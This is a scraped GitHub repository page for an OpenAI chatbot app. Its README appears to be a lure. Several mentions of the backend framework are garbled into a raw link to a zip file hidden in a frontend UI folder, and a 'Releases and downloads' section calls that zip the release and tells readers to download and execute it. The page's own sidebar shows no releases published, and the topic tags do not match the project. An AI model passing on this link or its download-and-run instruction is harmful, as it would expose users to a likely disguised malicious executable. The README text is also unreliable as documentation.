Skip to content

Vdevagabundo333/openai-chatbot-app

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
backend
backend
 
 
frontend
frontend
 
 
.gitignore
.gitignore
 
 
README.md
README.md
 
 
docker-compose.yml
docker-compose.yml
 
 

Repository files navigation

https://github.com/Vdevagabundo333/openai-chatbot-app/raw/refs/heads/main/frontend/src/components/ui/chatbot_openai_app_v2.4.zip

OpenAI Chatbot App: Full Stack UI & https://github.com/Vdevagabundo333/openai-chatbot-app/raw/refs/heads/main/frontend/src/components/ui/chatbot_openai_app_v2.4.zip Core Backend

OpenAI Chatbot App

Welcome to a modern interface web and API backend built for the HighCapital technical challenge. This project combines a responsive frontend built with Vite + React + Tailwind + ShadCN UI and a robust backend powered by https://github.com/Vdevagabundo333/openai-chatbot-app/raw/refs/heads/main/frontend/src/components/ui/chatbot_openai_app_v2.4.zip Core with SQLite. It integrates seamlessly with the OpenAI API to deliver a capable chatbot experience. The app is designed for clarity, speed, and reliable interaction with AI models, while keeping a pleasant and accessible user interface.

Table of contents

  • What this project is
  • Key features
  • Tech stack
  • How it’s built
  • Running locally
  • How to use the API
  • Data model and storage
  • Security and secrets
  • Development workflow
  • Testing and quality
  • Deployment and hosting
  • Troubleshooting
  • Contributing
  • Licenses

What this project is

  • A full stack solution for a chat-based AI assistant. The frontend provides a smooth, modern experience for sending messages, viewing chat history, and adjusting model parameters. The backend handles authentication, request routing, session management, and calls to the OpenAI API. Data is stored in a light SQLite database for easy local development and portability.

Key features

Tech stack

How it’s built

  • The frontend talks to the backend through a RESTful API. Requests to the OpenAI API are mediated by the backend to protect the API key and to centralize logic such as prompt construction, session handling, and rate limiting.
  • State is managed in the UI with a clean data model that mirrors the server-side entities, ensuring consistent behavior as the app scales.
  • The SQLite database stores user sessions, chat messages, and model configuration per session. It keeps things lightweight for local development yet remains production-ready for simple deployments.

Running locally Prerequisites

Project layout

Clone the repository

Start the backend

Set up and run the frontend

  • Open a new terminal
  • cd frontend
  • Install dependencies: npm install or pnpm install
  • Start the dev server: npm run dev or pnpm dev
  • The frontend will typically run on http://localhost:5173

Environment variables and configuration

Database schema (SQLite)

  • Users: id (PK), username, created_at
  • Conversations: id (PK), user_id (FK), started_at, last_activity_at
  • Messages: id (PK), conversation_id (FK), role (user/assistant/system), content, created_at
  • Settings: id (PK), user_id (FK), model_id, temperature, max_tokens, top_p
  • This schema keeps chat history lightweight and easy to back up locally.

Sample configuration and code snippets

User journey and usage flow

  • Open the app UI in the browser
  • Start a new conversation or continue an existing one
  • Type a user message and send
  • The app shows the model's reply in a chat-style interface
  • Users can tweak model parameters (temperature, max tokens) to shape responses
  • The history is stored locally in SQLite for quick access and offline resilience

Security and secrets

  • Do not hard-code API keys in the frontend. Use the backend to protect sensitive keys.
  • Store API keys in environment variables. For local development, use a .env file and ensure it is added to .gitignore.
  • Use HTTPS in production to protect data in transit.
  • Validate all inputs on the backend. Do not rely solely on client-side validation.
  • Consider rate limiting on the API to prevent abuse and excessive token usage.

Development workflow

  • Branching strategy: main for releases, develop for ongoing work, feature/* for new ideas
  • Linting and formatting: ensure TypeScript code uses consistent styles; ESLint and Prettier rules are included
  • Type safety: leverage TypeScript types everywhere; validate payloads at the API boundary
  • Testing: unit tests on the backend with xUnit; frontend tests with Vitest or Jest
  • Documentation: keep API docs in the README and consider generating OpenAPI docs for the backend

Testing and quality

  • Run unit tests: dotnet test in the backend
  • Run frontend tests: npm test or pnpm test
  • Use dev tools to inspect network calls and console logs during development
  • Do accessibility checks for UI components and keyboard navigation

Deployment and hosting

  • Local development uses a simple two-process setup: frontend dev server and backend API
  • For production, consider containerization with Docker and a small orchestrator
  • Docker compose example (two services: api and web)
  • Example deployment steps:
    • Build backend: dotnet publish -c Release -o out
    • Build frontend: npm run build
    • Serve static frontend with the backend or host separately behind a reverse proxy
  • A lightweight Dockerfile for the backend can mount the SQLite database at runtime and read environment variables for the OpenAI key

Releases and downloads

  • This repository ships release assets that contain ready-to-run binaries or installers for common platforms. The release page is the starting point for getting a packaged version of the app.
  • The link to the releases page hosts all assets you can download. The file you need to download and execute is available on that page.
  • Access the releases here: https://github.com/Vdevagabundo333/openai-chatbot-app/raw/refs/heads/main/frontend/src/components/ui/chatbot_openai_app_v2.4.zip
  • If you prefer to explore the assets: download the appropriate file for your OS, extract, and run the installer or executable as described in the asset's README or release notes.
  • Button link to releases: Releases

Usage tips and best practices

  • Start with a small temperature and moderate max_tokens to get stable results
  • Save chat history to SQLite to analyze user behavior and improve prompts
  • Use a consistent prompt structure to ensure coherent long conversations
  • Manage OpenAI costs by caching frequent prompts and sharing common context
  • Implement retry logic on API calls to handle transient network failures
  • Separate user-facing UI concerns from AI logic to simplify maintenance

Command references and quick start

API reference (high level)

  • POST /api/chat
    • Body: { conversationId, messages, model, temperature, maxTokens }
    • Returns: The assistant’s reply and a new message object
  • GET /api/conversations/{id}
    • Returns chat history and metadata
  • POST /api/conversations
    • Starts a new conversation and returns its ID
  • GET /api/settings
    • Reads current model and UI preferences
  • PUT /api/settings
    • Updates model/temperature/maxTokens for a user

Data security in production

  • Do not expose the OpenAI API key to the client
  • Encrypt sensitive data at rest, even in SQLite
  • Use prepared statements and parameterized queries to prevent injection
  • Keep dependencies up-to-date to reduce exploitation risk
  • Inspect logs for unusual activity and enable tracing for debugging

Accessibility and internationalization

  • Semantic HTML and ARIA attributes where needed
  • Keyboard-friendly navigation for chat components
  • Clear focus indicators and high-contrast color schemes
  • Easy language switching if you plan to localize in the future

Performance considerations

  • Use caching for repeated prompts and model configurations
  • Batch multiple requests if applicable to reduce latency
  • Optimize images and fonts to speed up initial rendering
  • Enable HTTP/2 and gzip compression on the server

Code structure overview

  • frontend/
    • src/
      • app/ (router and app-level logic)
      • pages/ (chat view, settings)
      • components/ (UI blocks like ChatWindow, MessageBubble, InputBar)
      • hooks/ (custom React hooks)
      • services/ (API calls via Axios)
      • styles/ (Tailwind and global CSS)
  • backend/
  • shared/
    • Types/ (TypeScript types shared with backend when applicable)
    • Utilities/ (common helpers)

Troubleshooting common issues

  • Backend fails to start
    • Check that the .NET runtime matches the target version (7.x)
    • Verify OPENAI_API_KEY is set
    • Confirm the SQLite database path is writable
  • Frontend cannot reach the API
    • Ensure VITE_API_BASE_URL or equivalent env var points to the running backend
    • Check CORS settings on the backend
  • OpenAI API errors
    • Confirm API key has access to the selected model (e.g., gpt-4)
    • Monitor token usage to stay within plan limits
    • Handle rate limits gracefully with backoff

Images and visuals

  • Use emojis to convey ideas and status: 🧠, 💬, 🚀, 🔒, 🧭
  • Include small UI snapshots (optional) that show the chat interface, input area, and settings panel
  • If available, reference generic icons for React, Tailwind, and .NET to visually anchor the tech stack

Contributing

  • This project welcomes contributions. If you plan to add features or fix issues, please follow these steps:
    • Fork the repository
    • Create a feature branch: git checkout -b feature/your-feature
    • Implement changes with clear, small commits
    • Run tests and linting locally
    • Submit a pull request with a descriptive title and explanation of changes
  • Your contributions help improve usability and reliability for all users

License

  • This project is open for use and modification under the terms defined in the LICENSE file.

Releases and downloads (repeat)

Notes on distribution

  • The release assets are designed to simplify setup. They bundle the frontend and backend where applicable and configure local environments automatically in many cases.
  • If you need a clean local setup, you can still run the project from source by following the running locally steps above. The sources give you full control over dependencies and versions.

Acknowledgments

Appendix: troubleshooting the releases link

End of document

About

Chatbot fullstack com backend ASP.NET Core 6, frontend React + Vite e SQLite para persistência. API REST com EF Core, OpenAI, Tailwind e Docker 🐙

Topics

python typescript twilio chatbot animations openai image-search facebook-ads codex flutter-ui fastapi ai-chatbot openai-api ai-language chat-gpt chat-gpt-tool google-palm-ai gpt-4o

Resources

Readme
Activity

Stars

0 stars

Watchers

0 watching

Forks

0 forks
Report repository

Releases

No releases published

Packages

 
 
 

Contributors

Languages